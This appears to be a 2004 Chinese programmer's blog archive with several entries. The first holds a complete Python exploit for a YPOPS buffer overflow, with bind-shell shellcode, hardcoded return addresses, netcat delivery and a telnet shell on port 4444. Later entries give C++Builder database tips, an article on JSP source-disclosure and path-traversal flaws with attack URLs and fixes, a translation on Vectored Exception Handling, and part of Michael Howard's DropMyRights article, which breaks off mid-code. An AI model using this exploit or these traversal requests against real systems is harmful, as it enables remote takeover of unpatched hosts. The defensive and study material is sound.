2004年11月29日

 Defeating Non Executable Stack Protection With TEB Buffer


Summary
Below is an example of exploiting a TEB (Thread Execution Block) buffer and libc that can be used when exploiting a non-executable stack Win32 environment.


Details
The exploit code below is for an old vulnerability in YPOPS (as reported in: Remote Buffer overflow Vulnerability in YPOPs!).
The exploit examples a way to override stack execution protection. The EIP is overwritten with the address of the lstrcpyA function followed by the by the return address (in the TEB), the source and destination buffer addresses. The lstrcpyA copies the attacker supplied payload to the address to the TEB, following which the executions proceeds from there (since it is the return address that we supplied).

Exploit Code:
#!/usr/bin/env python
“”"
Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai
Coded as a PoC for defeating NoN-Exec stacks and stack protections
like overflow guard etc.
This exploit utilizes the 520 byte buffer in the TEB (i.e is used for ANSI to Unicode String operations). The EIP is overwritten with the address of lstrcpyA accompanied by the return address, the source and destination buffer addresses.
On successful EIP overwrite the lstrcpyA copies the attacker supplied payload to the address in the TEB, following which the executions proceeds from there (since it is the return addr that we supplied). Came across this useful concept in “The shell coders handbook”.
Can be used for
1) Bypassing stack protections.
2) When none of the regs (ecx,ebx, eax, esp etc) point to our payload.

BUFFER LAYOUT

|payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB | addr of our payload |
ret addr for destination for Addr of our
execution Payload Payload


Tested on Win2K Adv Server with no patches and overflowguard. This is heavily dependent on the addresses which
must be modified according to the versions.
0×77E87E39 –> Address of lstrcpyA from kernel32.dll
0×7ffDE1BC –> Address in TEB buffer to which payload will be copied and execution commences
0×00E6FAB8 –> Address of Payload on stack

Shellcode from Sergio alvarez’s paper on win32 exploitatiion (gr8 paper).

Coded by Varun Uppal (varunuppal@linuxmail.org)
greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8 work

USAGE:

python pop_exp2.py | nc “addr of target host” “target port”

Telnet “addr of target host” 4444 for cmd prompt
“”"

import struct

exp = “\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66″
exp += “\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6″
exp += “\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa”
exp += “\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f”
exp += “\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb”
exp += “\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba”
exp += “\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb”
exp += “\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc”
exp += “\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61″
exp += “\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70″
exp += “\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44″
exp += “\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7″
exp += “\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69″
exp += “\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9″
exp += “\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0″
exp += “\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3″
exp += “\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7″
exp += “\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0″
exp += “\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67″
exp += “\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1″
exp += “\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0″
exp += “\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88″
exp += “\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d”
exp += “\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95″
exp += “\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2″

print ‘\x90′*10+exp+’\x90′*96+ struct.pack(‘<L’, 0×77e87e39)+struct.pack(‘<L’, 0×7ffde1bc)+struct.pack(‘<L’, 0×7ffde1bc)+’\xb8′+’\xfa’+'\xe6′+’\x00′ 



//————————————————————————————————————–
PS,最后的shellcode的内存地址一定要找对
因为一般会有两处地方,而且,其中一处是错误的
程序会把shellcode中的’\x25′会被过滤
^_^,可以少走弯路哦

2004年11月27日

好久没用BCB开发过数据库的程序了,这几天做一个数据库程序,本以为很简单,谁知道忘记了好多东东,还得到网上找资料,真是急死人…

比方说,如何点击DBGRID的标题自动排序,还有如何在MEMO类型的字段中显示原文(本来是不会显示原文,而是用(MEMO)代替).

下面的解决方法,
//—————————————————————————
void __fastcall TForm1::bsSkinDBGrid1TitleClick(TbsColumn *Column)
{
    if(ADOQuery1->Sort.Pos((WideString)”DESC”)>0)
        ADOQuery1->Sort=Column->FieldName+” ASC”;
    else
        ADOQuery1->Sort=Column->FieldName+” DESC”;
}
//—————————————————————————



void __fastcall TForm1::bsSkinDBGrid1DrawColumnCell(TObject *Sender,
      const TRect &Rect, int DataCol, TbsColumn *Column,
      Bsskingrids::TGridDrawState State)
{
    if (Column->Field->DataType==ftMemo)
    {
        TRect   R;
        R=Rect;
        bsSkinDBGrid1->Canvas->FillRect(R);
        R.Top+=2;
        R.Left+=2;
        DrawText(bsSkinDBGrid1->Canvas->Handle, Column->Field->AsString.c_str(),
                     Column->Field->AsString.Length(), &R,
                     DT_WORDBREAK | DT_NOPREFIX);
    }
}

不过第二个问题这个并不是最好的解决方法,因为它是直接”画”上去的,所以并不能以文本使用,后来到网上双看到一篇文章这样写的:


 




如何在DbGrid裡顯示TMemoField?

I’m trying to display the first 100 bytes of a TMemoField in a DBGrid. To do
that, I created a calculated string field and tried the following code:

procedure TfrmDiario.Query1CalcFields(DataSet: TDataset);
var
s : String;
p : ^Char;
begin
with Query1Historico do begin {Query1Historico is the TMemoField}
if DataSize>0 then begin
GetMem(p, DataSize);
GetData(p);
StrCopy(PChar(p), @(s[1]));
s[0] := #100;
FreeMem(p, DataSize)
end
else
s := ”;
Query1StrHistorico.AsString := s; {Query1StrHistorico is the calculated
TStringField}
end;
end;

The problem is that Query1Historico.DataSize is ALWAYS zero! I even
tried Query1Historico.SaveToFile and it indeed created a zero length file.

A:
I also finally loose the hope to see TMemoField.DataSize has another value
than zero. Maybe meaning of the DataSize is size of the part of Memo field
which saved in the .db file. Instead of this I using now the TBlobStream
object which works perfectly. It looks like :

Var
pBuffer : PChar ;
Blob : TBlobStream ;
begin
{FDataField is the TMemoField}
Blob := TBlobStream.Create( FDataField, bmRead ) ;
try
if Blob.Size > 0 then
try
GetMem( pBuffer, Blob.Size ) ;
Blob.Read( pBuffer^, Blob.Size ) ;
{ do something }
FreeMem( pBuffer, Blob.Size ) ;
except
ShowMessage( ‘Out of memory’ );
end ;
finally
Blob.Free
end ;

但是并没有测试通过,看来以后还是得多积累一点啊…

2004年11月24日

 综述:有几种办法可以暴露JSP代码,不过经过大量测试,这和WEB SERVER的配置有绝对的关系,就拿IBM Websphere Commerce Suite而言,还有别的方法看到JSP源代码,但相信是IBM HTTP SERVER的配置造成的。

  如果想发现JSP暴露源代码的BUG的话,首先需要了解JSP的工作原理。

  JSP和其它的PHP、ASP工作机制不一样,虽然它也是一种web编程语言。首次调用JSP文件其实是执行一个编译为Servlet的过程。注意我们就要在这上边做文章,明白吗?我们要干的事情是,让JSP在编译前被浏览器当作一个文本或其它文件发送给客户端,或在JSP装载的时候不去执行编译好的 Servlet而直接读JSP的内容并发送给客户端。

  明白了道理及所要达到的目的就好下手了,仔细观察调用及返回过程可以发现: JSP被编译为了Servlet保存在指定的目录下,如:http://www.x.com/lovehacker/index.jsp很可能存放在X: \IBM\WAServer\temp\default_host\default_app\pagecompile\_lovehacker_index_xjsp.class,这是已经编译过的index.jsp。_lovehacker_index_xjsp.class显然是我们不需要的文件,而且我们得到它的可能性也不大,我们要干的是不去执行_lovehacker_index_xjsp.class而是直接读index.jsp的内容。

  据分析最初的xxx.JSP暴露源代码也是因为前边的这种想法造成的,本来目录中存放了一个_xxx_xjsp.class,但访问xxx.JSP本来是个合法的请求,而又找不到对应的Servlet所以就把xxx.JSP当做一个文本或其它文件发送给了用户。

  也许这是因为IBM HTTP SERVER配置不当造成的,但相信如果能成功的话,会有一种成就感,很爽的哦!

  顺便说一下暴露文件存放真实路径可能会带来的危害:

  1.先会让入侵者了解磁盘配置情况
  2.明的入侵者甚至可以分析出管理员的水平高低
  3.为入侵者修改你的首页提供了方便(起码不用在找你的WEB目录在那个磁盘了)
  4.可能被利用一些其它的CGI的漏洞查找到Web目录下的文件如XX.ASP、XX.JSP、XX.PHP等

  JSP安全问题主要有哪几方面?

  本节重点在于对jsp安全问题进行分类阐述和提出解决的建议,所以每种类型的安全问题只采用了一个例子,对于其它各种漏洞的具体细节如涉及到何种软件版本何种操作系统等就不一一进行阐述了,有兴趣的读者可以到jsp爱好者(http://jspbbs.yeah.net)或者国外的安全站点(http: //www.securityfocus.com)进行查看和参考。

  根据目前已经发现的jsp安全问题,不妨将它们分为以下几类,源代码暴露类、远程程序执行类和其他类别, 下面来看看具体的东西吧。

  一、源代码暴露类

  源代码暴露类别主要指的是程序源代码会以明文的方式返回给访问者。
  我们知道不管是jsp还是asp、php等动态程序都是在服务器端执行的,执行后只会返回给访问者标准的html 等代码。这是理论上的东西,实际运行起来由于服务器内部机制的问题就有可能引起源代码暴露的漏洞,简单的例子只要在程序文件名后加几个简单的字符就可能获得程序代码,如常见微软asp 的global.asa+.htr、XXXX.asp%81等等漏洞。

  1.添加特殊后缀引起jsp源代码暴露

  在jsp中也存在着和asp这些漏洞类似的问题,如IBM Websphere Application Server 3.0.21、BEA Systems Weblogic 4.5.1、Tomcat3.1等jsp文件后缀大写漏洞;jsp 文件后加特殊字符如Resin1.2的%82、../漏洞;ServletExec的%2E、+漏洞等等。

  例子:举个老一点的JSP 大写例子,Tomcat3.1下在浏览器中本来是http://localhost:8080/inde.jsp,可以正常解释执行,但是如果将 inde.jsp改为inde.JSP或者inde.Jsp等等试试看,你会发现浏览器会提示你下载这个文件,下载后源代码可以看个一干二净。

  原因:jsp是大小写敏感的,Tomcat只会将小写的jsp后缀的文件当作是正常的jsp文件来执行,如果大写了就会引起Tomcat将 index.JSP当作是一个可以下载的文件让客户下载。老版本的WebLogic、WebShpere等都存在这个问题,现在这些公司或者发布了新版本或者发布了补丁解决了这问题。

  解决办法:一是在服务器软件的网站上下载补丁;因为作者以前用过asp 一段时间,接触了很多IIS的漏洞,它的有效解决方法是去掉不必要的映射如htr、htx等,在jsp 中我们同样可以参考IIS的解决方法,不同的是不是去掉而是添加映射,方法为在服务器设置中添加一些映射如.JSP 、.Jsp、.jsp%2E等,将他们映射到一个自己写的servlet,这个Servlet的唯一功能就是将请求导向一个自定义的类似404 not found的出错页面,不同的服务器设置的地方也不同,请参考相应的文档。第二种解决方法可以在没有补丁的时候采用。

  2.插入特殊字符串引起jsp源代码暴露

  还有一种是插入特殊字符串引起的漏洞,BEA WebLogic Enterprise 5.1文件路径开头为 “/file/” 的漏洞、IBM WebSphere 3.0.2的”/servlet/file/”文件开头漏洞等等。

  例子:如IBM WebSphere 3.0.2中,如果一个请求文件的 URL为”login.jsp”:http://site.running.websphere/login.jsp,那么访问http: //site.running.websphere/servlet/file/login.jsp将看到这个文件的源代码。

  原因:因为IBM WebSphere 3.0.2是调用不同的 servlets 对不同的页面进行处理,如果一个请求的文件是未进行注册管理的,WebSphere 会使用一个默认的 servlet 调用。如果文件路径以”/servlet/file/”作开头这个默认的 servlet 会被调用这个请求的文件会未被分析或编译就显示出来。

  解决方法:在服务器软件的网站下载最新的补丁。

  3.路径权限引起的文件jsp源代码暴露

  我们知道,大部分的jsp应用程序在当前目录下都会有一个WEB-INF目录,这个目录通常存放的是JavaBeans编译后的class 文件,如果不给这个目录设置正常的权限,所有的class就会曝光。

  例子:如果采用的是Apache1.3.12加上第三方jsp软件形式的WEB服务器,因为Apache1.3.12默认的设置是可以读取目录的,如果程序在http://site.running.websphere/login.jsp,只要修改一下http: //site.running.websphere/WEB-INF/所有这个目录下以及这个目录下的子目录中的class文件可以看个一干二净的,还可以下载到本机上。

  也许有人会说class是经过编译的,就算被人下载也没有什么关系,但是现在class 反编译为Java代码的软件也很多,有人曾经采用JAD软件对下载的class文件反编译了一下,居然和原始的Java文件几乎一模一样,变量名都没有变,更惊奇的是还可以重新编译为class文件正常使用。

  安全问题更大的就是,网页制作者开始把数据库的用户名密码都写在了Java 代码中,现在一反编译谁都能看到数据库的重要信息。通过数据库的远程连接功能,可以轻松的进入到你的数据库中,所有信息全部在他手中。附带说一句,如果用户能获得SQL Server的用户名口令,进入数据库中可以执行任意的dos命令如查看c:\文件、建立和删除目录等,那样整个Windows系统都不安全了。

  解决方法:IIS以前一个有效地解决asp漏洞的方法,就是将asp程序单独放置一个目录,目录设置上用户权限只能执行不能读取。在jsp环境下同样可以通过设置服务器的环境来解决这个问题,简单的说,就是将一些比较重要的目录如WEB-INF、classes等设置上访问的权限,不允许读而取只允许执行。以apache 下解决为例,可以在httpd.conf文件中添加一目录WEB-INF并设置Deny from all等属性。

  另一种比较笨的解决方法就是在每个重要目录下添加一个默认起始页面如index.htm等,这样读取目录就会返回给访问者这个文件而不是其它了。建议采用的一种方法。

  更为重要的是密码的保存问题。在jsp中可以写一个property文件,放置在WINNT系统目录下,然后用Bean来读取数据库信息,这样通过源代码知道了数据库信息存在WINNT中的.property文件里面,但也很难访问它,这样就算源代码被人知道起码数据库是安全的。

  4.文件不存在引起的绝对路径暴露问题

这个问题相信大家都比较熟悉了,因为微软IIS 中也有比较多的类似问题。如微软IIS5.0中的*.idc暴露绝对路径漏洞。同样的这些问题现在也转到了jsp环境中,这个漏洞暴露了web程序的绝对硬盘地址,和其他漏洞结合就具有比较大的危害了

  例子:在特定的服务器软件下,访问一个不存在的jsp文件如 http://localhost:8080/fdasfas.jsp,就会返回Java.servlet.ServletEception: Java.io.FileNotFoundEception: c:\web\app\fadssad.jsp (???????????)这样的错误,这样就可以知道网站在c:\web\app目录下,也许一般人不太在意,但是对于一个黑客来说就是很有帮助了。

  原因:负责jsp 执行的相关Servlet中处理异常的时候没有过滤掉这种情况。

  解决方法:一是下载最新的补丁;如果当时的web 服务器软件没有这个补丁,可以找到服务器软件的jsp 执行映射Servlet文件(当然是class 后缀的),将它用JAD软件反编译,在反编译后的源代码中找到处理Exception的方法,然后将方法中的处理部分全部注释掉,并将请求导向到一个自定义的出错页面中,这样问题就解决了。
 

  二、远程程序执行类

  这类漏洞的特点就是可以通过url 地址在浏览器中执行任意服务器上的命令和程序,从而引起安全问题。如Allaire JRUN 2.3 远程执行任意命令漏洞、iPlanet Web Server 4.x存在一个缓冲区溢出漏洞等等。
例子:Allaire 的 JRUN 服务器 2.3上输入下面的url地址http://jrun:8000/servlet/jsp/../../path/sample.txt,可以访问到WEB目录以外的文件,如果是exe文件,还有可能会引起执行。

  原因:如果URL请求的目标文件使用了前缀”/servlet/”,则JSP 解释执行功能被激活。这时在用户请求的目标文件路径中使用”../”,就有可能访问到 WEB 服务器上根目录以外的文件。目标主机上利用该漏洞请求用户输入产生的一个文件,将严重威胁到目标主机系统的安全。

  解决方法:安装最新的补丁。

  三、其他类别

  这些类别的范围就有点大了,可以包括数据库如SQL Server、Oracle 、DB2等的漏洞,也可以包括操作系统如WindowsNT/2000、Linu等的漏洞。这些东西的漏洞可以说都是致命的,如利用Linux的某些漏洞可以轻易获得管理员权限来远程控制服务器,获得系统的完全控制权限,这样要获得jsp源代码或者摧毁服务器比踩死一只蚂蚁还要轻松的多。

  四、全文总结

  通过上面内容可以看出jsp同asp一样还是存在着很多安全上的问题的,客观的说,服务器软件的开发商在内部测试中不可能将系统中的所有bug 找出来,即使发布了软件后,被发现的漏洞也只会是其中的很小一部分,将来还会不断的有新的安全问题出现,所以我们必须时刻提高警惕,并注意自己网站的安全。

  一个好的建议就是多看安全文章,这些安全文章一般都会有详细的信息如软件的版本号、漏洞原因等等,最重要的是还附带了解决办法或者是补丁的下载链接,推荐的安全站点是国内的安全站点www.cnns.net或者国外的http://www.securityfocus.com站点;另外一个好的建议就是多装补丁程序,访问自己所使用的软件公司主页,从那上面获得最新的补丁程序,做得比较好的就是微软的站点,安全公告和补丁都特别及时。

  最后想用一句话作为全文的结尾:一个优秀的黑客不一定是个好的jsp 程序员,一个优秀的jsp程序员一定要是个好的准黑客。

  哪些方式可实现Java Servlet及JSP的应用安全?

  一个web 应用程序可拥有多种资源,经常有许多敏感的信息在没有保护措施的情况下在开放性网络上传输。在这种环境下,实际上许多web 应用程序有一定程度的安全性要求。大多数的servlet 容器有明确的机制和结构来达到这种安全要求。虽然保证和执行的细节可能有些不同,但是,都具有下面的特点:

  1.Authentication:通讯实体相互验证对方的行为是以一个明确的身份在进行的一种机制。
  2.Access control for resources:对某组用户来说,对数据库的某些操作是受到限制的,或对有些程序强调可用性,完整性或保密性的一种机制。
  3.Data Integrity:数据在传递过程中保证不被第三方修改的一种机制。
  4.Confidentiality or Data Privacy:保证数据只被那些授权使用的用户使用,能被安全传递的一种机制。

  Java Servlet,JSP中安全性通过如下几种方式实现:

  一、 Declarative Security

  Declarative security指的是表达一个应用的安全结构,包括角色,存取控制,和在一个应用的外部表单所要求的验证。在web application中发布描述器是实施declarative security的一种主要的工具。

  发布者把application所要求的逻辑完整性映射为在特定运行环境下的安全策略。在运行时,servlet container使用这些策略来强迫验证。

  二 、Programmatic Security

  当declarative security不能够完全表达一个application的安全模型时,就可以使用programmatic Security。Programmatic Security包括HttpServletRequest接口的下列方法:
  getRemoteUser
  isUserInRole
  getUserPrincipal

  getRemoteUser方法返回经过客户端验证的用户名。IsUserInRole向container的安全机制询问一个特定的用户是否在一个给定的安全角色中。GetUserPrinciple方法返回一个Java.security.Pricipal对象。这些APIs根据远程用户的逻辑角色让servlet去完成一些逻辑判断。它也可以让servlet去决定当前用户的主要名字。如果getRemoteUser返回null值(这意味着没有用户被验证),那么isUserInRole就总会返回false,getUserPrinciple总会返回null。

  三 、Roles

  一个Roles就是由Application Developer和Assembler所定义的一个抽象的逻辑用户组。当一个application被发布的时候,Deployer就把这些角色映射到在运行环境中的安全认证,例如组或规则。

  一个servlet container能够为规则执行一些说明或编程安全,这些规则是与调用这些principal的安全属性所输入的要求相联系的。例如:

  1.当deployer把一个安全角色映射为操作环境下的一个用户组,调用principle所属的用户组就从安全属性中获得。如果principle的用户组与在操作环境下的用户组相匹配,那么principle 就是一个安全角色。
  2.当deployeer把一个安全角色映射为一个在安全方针域中的principle名时,调用principle的确principle名就被从安全属性中提取出来。如果两者相同的话,调用的principle就是安全的。

  四、Authentication

  一个web 客端能够使用下面的一种机制来对web 服务器验证一个用户。

  HTTP Digest Authentication
  HTTPS Client Authentication
  HTTP Basic Authentication
  HTTP Based Authentication

  五、HTTP Basic Authentication

  HTTP Basic Authentication是一个定义在HTTP/1.1规范中的验证机制。这种机制是以用户名和密码为基础的。一个web server要求一个web client去验证一个用户。作为request的一部分,web server 传递被称之为realm的字符串,用户就是在它里面被验证的。注意:Basic Authentication机制的realm字符串不一定反映任何一种安全方针域。Web client得到这些用户名和密码,然后把它传递给web server。Web server然后在一个特定的领域验证这些用户。

  由于密码是使用一种64位的编码来传递,而且目的server没有验证,所以Basic Authentication不是一种安全的验证协议。然而一些附加的保护像使用一种安全传输机制(HTTPS)或在网络层使用安全措施能够解决一些问题。

  六、HTTP Digest Authentication

  与HTTP Digest Authentication一样,HTTP Digest Authentication根据用户名和密码验证一个用户。然而密码的传输是通过一种加密的形式进行的,这就比Basic Authentication所使用的64位编码形式传递要安全的多。这种方法没有像HTTPS Client Authentication的个人密钥方案安全。由于Digest Authentication当前不被广泛使用,servlet containers不要求支持它但是鼓励去支持它。

  七、HTTPS Client Authentication

  使用HTTPS(HTTP over SSL)的终端用户验证是一种严格非验证机制。这种机制要求用户去处理公共密钥证明(Public Key Certification PKC)。当前,PKCs在e-commerce应用中是有用的。不适应J2EE的servlet containers不要求支持HTTPS协议。

  八、Server Tracking of Authentication Information

  就像映射在角色中的安全标识一样,运行环境是环境的说明而不是应用的说明。

  1.在web application的发布环境创建一个登录机制和策略。
  2.对发布在同一个container的application能够使用同样的验证信息来代表这些application的principal。
  3.仅仅当通过安全策略域时要求用户重新验证。

  因此,一个servlet container要求在container层来跟踪这些验证信息,而不是在application层。允许一个经验证的用户拒绝一个使用其它资源的application,这些是通过受同样安全性标识限制的container管理的。

2004年11月23日

 windows XP下的向量化异常处理(Vectored Exception Handling)
                                  原作:    Matt Pietrek
                                  翻译改写:  hume/冷雨飘心

首先回顾一下(SEH)结构化异常处理,结构化异常处理用EXCEPTION_RETGISTRATION结构链起来的异常处理系统,那么当异常发生时, 系统会遍历这个链,首先是链最前面的,系统会问:这个异常你处理吗?如果回答YES(通过返回 EXCEPTION_CONTINUE_EXECUTION)的话,那系统就把控制权交给他,然后由其处理这个异常,返回到异常处理程序想返回的任何地方.如果通过返回EXCEPTION_CONTINUE_SEARCH回答:NO,let others do that! 系统就继续查找这个链,不厌其烦地问同样的问题和采取相同的处理原则.这个链最前面的EXCEPTION_RETGISTRATION是由fs:[0]处的一个dword指针指向的.具体细节还请参阅相关资料或我以前的<<seh In Asm研究>>.

让我们来看一下seh的缺点,就是最后安装的seh处理例程总是优先得到控制权,这有时并不是最好的解决方案,但确实是seh的工作机制,当然Final 型的或称top型的(还记得吗,也就是通过SetUnHandledExceptionFilter安装的)例外,因为他是不允许嵌套的.我们提到的是线程相关的也就是per_Thread类型的.为什么不是好的解决方案呢,让我们设想一下,假如你用两周写了一个异常完美的seh处理例程,能够完美处理所有异常,并希望异常全部由你来处理,但很不幸,比如你调用了一个外部模块,而这个模块自己安装了一个ugly的seh处理例程,他的动作是只要有异常发生就简单地终止程序…hmmm…!!!这意味着什么?你的两周工作全部付诸东流!又比如你想在你的加壳程序里面加密目标程序代码段,然后发生无效指令异常的时候用你自己安装的处理句柄来解密代码段继续执行,听起来这的确是一个好主意,但遗憾的是大多数C/C++代码都用_try{}_except {}块来保证其正确运行,而这些异常处理例程是在你壳注册的例程之后安装的,因而也就在链的前面,无效指令一执行,首先是C/C++编译器本身提供的处理例程或者程序其他的异常处理例程来处理,可能简单结束程序或者….天知道!
    在Xp下,Microsoft又提供了又一种异常处理,那就是VEH(Vectored Exception Handling),我译作向量异常处理,这个东东用如下api注册,类似于SEH,也是一个链状结构,让我们来看看他的不同之处,噫,好像差不多啊:
    WINBASEAPI PVOID WINAPI AddVectoredExceptionHandler(
    ULONG FirstHandler,
    PVECTORED_EXCEPTION_HANDLER VectoredHandler );

    FirstHandler:是一个标志,可以指定是否将你的VEH处理例程放在VEH链的最前面!
    VectoredHandler:这个东东是异常处理例程入口
    LONG NTAPI VectoredExceptionHandler(PEXCEPTION_POINTERS);
    PEXCEPTION_POINTERS是指向EXCEPTION_POINTERS的指针,具体EXCEPTION_POINTERS的结构是否和SEH的一致?估计是一致的,我装了Xp,没有下DDk呢,现在正在找!
    正像你看到的,好像和Final型SEH处理差不多?不一样!区别如下:
    1)首先是AddVectoredExceptionHandler添加的异常处理句柄可以嵌套,而不是只能指定一个
    2)其次是AddVectoredExceptionHandler可以指定你的异常处理句柄是否在链的最前面,hoho,这可是我们期望的!当然如果在你后面有人调用AddVectoredExceptionHandler也作同样指定,那对不起,你只得在他后面了.

    相同之处在于他们都是进程而不是线程相关的.

    XP仍然支持SEH,那么问题来了SEH和VEH是什么关系,答案很简单,VEH优先权高于SEH,只有所有VEH全不处理某个异常的时候,异常处理权才会到达SEH.只要目标程序中没有利用VEH,你的VEH就是第一个得到控制者.哈哈,现在的采用SEH作为异常处理的普通C/C++程序对你不会再有干扰了!你可以用VEH来hook api了,god!

    另外一个问题,如果有debugger怎么办?控制权转向又如何呢?不幸的消息来了,异常发生后首先通知的还是debugger,debugger不处理才返回控制权给VEH,[VEH不处理,返回给SEH,seh不处理,又给debugger一个机会,如果还不处理,才由系统处理,这是我猜测的, Matt没说这个问题,嘿嘿]

    RemoveVectoredExceptionHandler 用来移除VEH处理句柄.是否需要看你的了,由于没有下XP DDK,所以没有实际代码,大家凑合着看,等我找到并下了DDK再说,由于要参加专业考试,所以玩耍要暂缓了,以后再写东西翻译东西的机会不多了,要等我 9月考完再说,本来是好好学习的(刚刚发了誓),这不在网上遛跶看了Matt老哥吹的我又坐不住,当一个好消息和大家共享,原文去MSDN查查,是 <<New Vectored Exception Handling in Windows XP>>.
   
    BB,我要开始聊天了:D…)!@#$%

2004年11月22日

 



Browsing the Web and Reading E-mail Safely as an Administrator


Michael Howard
Microsoft Security Engineering


November 15, 2004


Summary: Michael Howard discusses how you can run as an administrator and access Internet data safely by dropping unnecessary administrative privileges when using any tool to access the Internet. (10 printed pages)


Download the DropMyRights.msi file.


I’ve said this many times, but I’ll say it again, “Running with an administrative account is dangerous to the health of your computer and your data.” So, whenever someone says they must operate their computers as administrators, I always try to persuade them it’s not the correct thing to do from a security perspective. That said, every once in a while I meet someone who has a valid reason. For example, I use one of the computers in my office to install the latest daily build of Windows, and I need to be an administrator to install the OS. However, and this is a big point, I do not read e-mail, browse the Web, or access the Internet in any form when running as an administrator on that machine. And I do not do so because the Web is the source of most of the nasty attacks today.


What if someone does want to browse the Web? Or read e-mail? Or do Instant Messaging and so on, and for some reason must run in an administrative context? If you look at the major threats to computers, they are from user interaction with the Web through tools like browsers and e-mail clients. Sure, there are non-user interaction attacks, such as Blaster (http://www.cert.org/advisories/CA-2003-20.html) and Lion (http://www.sans.org/y2k/lion.htm), but that’s in part why we turned on the firewall in Windows XP SP2!


Note   For Best practices on running as a non-admin, I urge you to look over Aaron Margosis’ blog to glean tips on running as a non-admin in Windows.

An Example of Why Running as an Admin Is Bad


Some nasty malware works only because the user browsing the Web is an administrator. A good example is a recent variation of the Bagle/Beagle worm named W32.Beagle.AV@mm. I would recommend you read up on what the worm does once it is invited onto a computer system. Symantec has a good write-up at http://securityresponse.symantec.com/avcenter/venc/data/w32.beagle.av@mm.html. I say invited because the malware is not taking advantage of a coding or design defect. It is using simple human error to execute.


Amongst the many things this malware does, all of which require admin rights, are:



  • Creating files in the system32 directory.

  • Terminating various processes.

  • Disabling the Windows Firewall.

  • Downloading and writing files to the system32 directory.

  • Deletes registry values in HKLM.

All these fail if the user running the e-mail client is not an administrator.


So wouldn’t it be useful (read: safer) if you could browse the Web, read e-mail, and so on as a non-admin, even though you need to perform your normal daily tasks as an admin? Luckily, Windows XP and Windows Server 2003 and later support this capability using restricted tokens.


Further Detail


Windows XP and Windows Server 2003 and later support functionality called Software Restriction Policy, also known as SAFER, which allows a user or software developer to run code at a lower privilege without having the user enter credential information when the application starts. For example, an administrator could run an application as a normal user by stripping out certain SIDs and privileges from the application’s token as the application is launched. Some applications, most notably Internet-facing applications, such as a Web browser, instant messaging, or e-mail client, should never be run under an administrative context.


The DropMyRights Application


DropMyRights is a very simple application to help users who must run as an administrator run applications in a much-safer context—that of a non-administrator. It does this by taking the current user’s token, removing various privileges and SIDs from the token, and then using that token to start another process, such as Internet Explorer or Outlook. This tool works just as well with Mozilla’s Firefox, Eudora, or Lotus Notes e-mail.


The code couldn’t be simpler. Here’s the core code:

//////////////////////////////////////////////////////////////////////////////////
DWORD wmain(int argc, wchar_t **argv) {

DWORD fStatus = ERROR_SUCCESS;

if (2 != argc && 3 != argc) {
Usage();
return ERROR_INVALID_PARAMETER;
}

// get the SAFER level
DWORD hSaferLevel = SAFER_LEVELID_NORMALUSER;
if (3 == argc && argv[2]) {
switch(argv[2][0]) {
case ‘C’ :
case ‘c’ : hSaferLevel = SAFER_LEVELID_CONSTRAINED;
break;
case ‘U’ :
case ‘u’ : hSaferLevel = SAFER_LEVELID_UNTRUSTED;
break;

default : hSaferLevel = SAFER_LEVELID_NORMALUSER;
break;
}
}

// get the command line, and make sure it’s not bogus
wchar_t *wszPath = argv[1];
size_t cchLen = 0;
if (FAILED(StringCchLength(wszPath,MAX_PATH,&cchLen)))
return ERROR_INVALID_PARAMETER;

SAFER_LEVEL_HANDLE hAuthzLevel = NULL;
if (SaferCreateLevel(SAFER_SCOPEID_USER,
hSaferLevel,
0,
&hAuthzLevel, NULL)) {

// Generate the restricted token we will use.
HANDLE hToken = NULL;
if (SaferComputeTokenFromLevel(
hAuthzLevel, // SAFER Level handle
NULL, // NULL is current thread token.
&hToken, // Target token
0, // No flags
NULL)) { // Reserved

STARTUPINFO si;
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = NULL;

// Spin up the new process
